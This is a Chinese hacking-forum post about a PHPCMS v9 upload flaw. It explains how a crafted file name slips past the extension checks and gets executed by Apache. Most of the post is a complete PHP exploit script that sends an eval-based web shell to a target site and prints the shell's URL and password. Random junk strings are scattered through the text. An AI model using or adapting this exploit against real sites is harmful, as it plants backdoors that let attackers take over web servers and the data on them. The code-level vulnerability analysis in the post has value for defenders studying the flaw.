找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2333|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
0 i* g+ W0 g7 C4 g' g) d+ x$ u+ O$ W" O" M
简要描述:
$ X+ {7 O; R# g/ o$ b; d0 z
8 L) o: w1 \9 S$ I4 }0 ^phpcms v9 getshell (apache)7 C2 Q% N; N% ~  A
详细说明:4 _0 l; ]4 e& @. N
6 ^- i# h( _0 K2 u# ?) n7 R9 E; \* o
漏洞文件:phpcms\modules\attachment\attachments.php1 F" C+ p  Y. m& K6 H

# E" {9 _3 v/ {+ M+ t3 [public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
& y2 `8 s2 S# g/ i9 ]后缀检测:phpcms\modules\attachment\functions\global.func.php; F2 c& v/ A6 o" N. L5 Y, A1 E
, P6 Q: O8 |, o# C; x5 u

/ ?: k( ]9 q  y: K2 u4 B1 n
- w( d9 B; c/ i' t6 g* }: z. lfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  2 W% L2 x  l: D& h' D# p( K6 [$ E

  K3 R  o7 U2 O: A# Y+ V关键函数:
( K& q9 s" |9 j( [$ s6 f% X
* k/ ~1 G+ u5 I1 f / ?/ E1 a" r, r& I

2 T5 y$ j* ~" {# N( ~function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
# E9 `: E0 o- q, N4 r. F8 W) S+ F4 W2 d3 G, a4 F6 @( s1 L4 u" d
  Fileext函数是对文件后缀名的提取。9 s, @% U+ {# U
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php/ G5 k' X# D, e
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。: h8 `5 j" g& `' v6 o4 F
我们回到public function crop_upload() 函数中
" r' @! ?6 x. G; C& p9 Qif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
, x& m* m1 t0 N) a# j6 X在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
8 \) u6 C6 V% \3 D. |" c0 P& i这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。  T2 w9 K/ L5 Y2 J
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
5 ~2 A  u0 a1 C& Q8 h: [最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
; A* D: i. @" r0 x- [看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
# X0 V, @5 M& Y7 q7 |8 g漏洞证明:, U& v' x1 z5 f5 M2 [
: p; c0 [" g7 m* ^. U6 _' s
exp:% f5 V' |' f6 }+ R8 j
  d' ^3 y( p% Z6 d
<?php
6 Z9 u" |7 `  M$ w6 p5 p4 werror_reporting(E_ERROR);$ [) H2 ^3 F' S, ?+ J$ O' q* \
set_time_limit(0);
& a' Q- [" v2 K/ t$pass="ln";, A# P0 n& B) Z
print_r('- E" o  j4 C) Z3 B/ ^
+---------------------------------------------------------------------------+: M$ R# s; G0 X& N! E+ I2 _
PHPCms V9 GETSHELL 0DAY 1 s# q, m  i( E% k) v5 s
code by L.N., g4 T; L1 g4 l% n1 z2 C: M
8 V$ P7 W  H; C8 v0 x4 U! ?" j$ s
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net# t  \+ H+ R& M) L- f; q
+---------------------------------------------------------------------------++ D+ ]3 N8 R- t# u) v
');
, G+ R5 N. }8 d0 e2 ^0 a( @; lif ($argc < 2) {' }+ o7 z, \: `* R6 H9 K% R
print_r('
- V$ T5 [4 M5 t* p$ F- y6 N# \. y+---------------------------------------------------------------------------+
" U9 k9 T. w7 q. `4 \8 }! Q& }Usage: php '.$argv[0].' url path' x4 ]6 \8 r" ]& S/ e
7 }4 u1 O0 {( R& N4 D9 U
Example:
- x6 ^7 H% C6 `: q1.php '.$argv[0].' lanu.sinaapp.com
9 {$ K- o6 y% Z3 U% A% Y2.php '.$argv[0].' lanu.sinaapp.com /phpcms. \+ O) L6 `1 X
+---------------------------------------------------------------------------+
6 r8 n7 y4 m/ D9 |* W- b+ `' F4 Q');# ?) g6 J, O+ P. u3 J
exit;
5 a% ]7 y/ V9 k8 S5 l# D# b( g}2 b+ M( s! j) p  i) i% }

7 ^' T0 N7 G: a5 C3 b$url = $argv[1];
' Q2 w8 V& o$ E& _+ b+ a2 _8 q$path = $argv[2];# Z& W3 W: f$ x; v8 D
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
, n1 x: ]1 p( N8 J8 y% k4 X$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
. v( {/ G" D6 `5 I& oif($ret=Create_dir($url,$path))1 z  Y# b0 @6 U4 O
{9 R2 a; f$ I( e' V. `. q6 v; N* a
//echo $ret;
1 B0 W& H1 k8 L# [$pattern = "|Server:[^,]+?|U";
  @# Y% a7 q" L9 ypreg_match_all($pattern, $ret, $matches);
$ m! x8 l$ Y  ]' u  A+ A1 xif($matches[0][0])& I( |- w7 H7 M: c% T1 }
{0 ~8 s% p2 f, z% x+ n% o7 s
if(strpos($matches[0][0],'Apache') == false)3 e7 s3 A6 H( \  ~# c
{# _$ h6 d3 P- O3 {
echo "\n亲!此网站不是apache的网站。\n";exit;8 `* g, P% H* b* S2 n9 P) m# g
}" P0 v) d" L. s, |/ \
}3 `/ Z7 ~! a' s4 v; q% z
$ret = GetShell($url,$phpshell,$path,$file);
( ^$ w; A0 S- l: Q% ?! n' X  F$pattern = "|http:\/\/[^,]+?\.,?|U";" l5 l  Y) ]& [3 D8 g
preg_match_all($pattern, $ret, $matches);$ Q" n% M% J. P
if($matches[0][0])2 p, M7 |/ z" w+ s$ G
{
2 O; @% ~+ N6 Kecho "\n".'密码为: '.$pass."\n";$ l/ V( I6 t$ d1 Y% A. ]1 h: X
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
, x5 j. v) {4 d! R. b# m  {& J2 h}3 x* ~! m# I- J& ?
else
/ k9 g1 t- C1 h2 D{
# M/ o  W& T) z$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
2 l$ a8 A1 C) y6 A5 y- \preg_match_all($pattern, $ret, $matches);$ q" T3 N1 k' a' [* n7 m3 B+ H
if($matches[0][0])! w' G; N9 c: X# r7 Z& [" m7 M
{
$ n' N" L  p2 [( P2 ?echo "\n".'密码为: '.$pass."\n";
% X! F8 y9 [6 m+ D5 Lecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
2 a: a7 m5 G) |7 h}
" R; j2 U9 m4 X- Melse
+ o8 x/ x; h6 p& s* O. o{
, U9 g1 G- G  I1 W0 N' f/ {1 x+ A2 iecho "\r\n没得到!\n";exit;
# W+ |2 L* u8 E0 A. H}. U( Y2 {7 A% w( a
}% L1 I) m  x  s% O8 U2 L
}' p) g$ j! K* f# E  g

, P9 |7 p' `& E( u* }+ ?) q6 }function GetShell($url,$shell,$path,$js). q/ c; x! X* A% i! N
{$ o* B& x3 W+ E* h& H. _
$content =$shell;# d/ g* m$ q* @* P/ a
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";$ Y# j$ R  f/ `# I; e; @
$data .= "Host: ".$url."\r\n";! E  L& s' h  {$ @0 U, W
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";# I. E8 h+ P, ?
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
9 h6 s1 N: U  s) j/ o$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";8 U2 m0 ]) Z& o- p0 a4 v, H' e
$data .= "Connection: close\r\n";4 g/ K1 ~5 K) r! o+ ?
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
! \2 s. K1 C. k  q2 k  [9 ]! H; ]9 W$data .= $content."\r\n";! G- X) Z4 f$ V: |2 Q) w% ?
$ock=fsockopen($url,80);! C4 ~' {, V: x) L- d
if (!$ock): J& u- I# D6 ~- T, X
{' P, y/ v6 v' l' e
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;! A7 [, f; P* x4 N: A
}
7 C* f3 W3 \7 welse
' C' E+ b. f& c9 W{" L* x  [' l2 Q# C; }: f- C( v" p
fwrite($ock,$data);# o$ d6 M1 Q2 q' F. M
$resp = '';
3 h: `8 @  M7 z$ Vwhile (!feof($ock))" ]+ L- G- a) q" z8 c0 y
{2 D! e$ C9 w! W5 z5 h& R
$resp.=fread($ock, 1024);3 ^5 n# Z. x- n% ?; L. p7 f7 q
}5 N) P/ \9 b' G) \7 _( {+ \* N
return $resp;
- E- W, L% C4 }# ^/ u) A}! |9 D9 V8 ?6 m8 B. S0 X
}- L  b# Y+ g$ q; ], C

7 z# x( `8 T7 S! Q0 vfunction Create_dir($url,$path='')
9 B9 R' W8 u$ U: G9 W% V{) P& a( K0 \9 _$ R
$content ='I love you';8 D+ P5 h" \& {, r. E0 b2 G% D* h# y
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";; [  D( M4 s0 N) W, y: w
$data .= "Host: ".$url."\r\n";
1 T- t0 d6 @: G8 d9 h: s4 T* ^% c- v$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";& D9 m0 j3 e: ^8 w" s+ @7 \
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
! f- A* ]4 v( G2 L" m$ o. C( K4 L$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% `( i: n' X  Z2 `/ ?4 V; {8 I$data .= "Connection: close\r\n";
$ G5 u8 ~! h) }5 u) E2 v$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
5 Z5 p5 B$ o% `$data .= $content."\r\n";+ G  E0 Y# a' K
$ock=fsockopen($url,80);7 H+ b) U( C% M# ^+ }* S
if (!$ock)& E7 G- K0 N+ s$ g% S
{7 s  t4 Y/ M) w" h! `% q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
8 `  ~/ U; }& Y( @. K+ D}
. d  o" _$ `# Y9 Jfwrite($ock,$data);) S/ ]6 n. r+ J. P* l
$resp = '';
, }) m; k/ g1 D( Hwhile (!feof($ock))
4 u0 p. N4 C# y! A/ h. O! \{. U0 G& M+ B4 p# s! }! R+ }
$resp.=fread($ock, 1024);
: C- R: x  J. k# t7 l0 B4 f" ], C6 I}
+ m- r% I/ D3 |) {return $resp;
* H5 C: g9 v+ ^. T, ?4 b% N}
" }* E1 B7 n; d; u?> + D9 x$ ]: p* _
7 ^9 W3 x* z# y6 l# Q' A/ v5 g: ?, |6 f
修复方案:5 a, e5 e+ p( F& p+ V- W) B
! ~8 ]* b+ N- i' a: R& j, I4 ]3 [( @
过滤过滤再过滤
. A" O" s/ n8 x, D" Z9 O0 z: D! o  r3 s+ n& u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表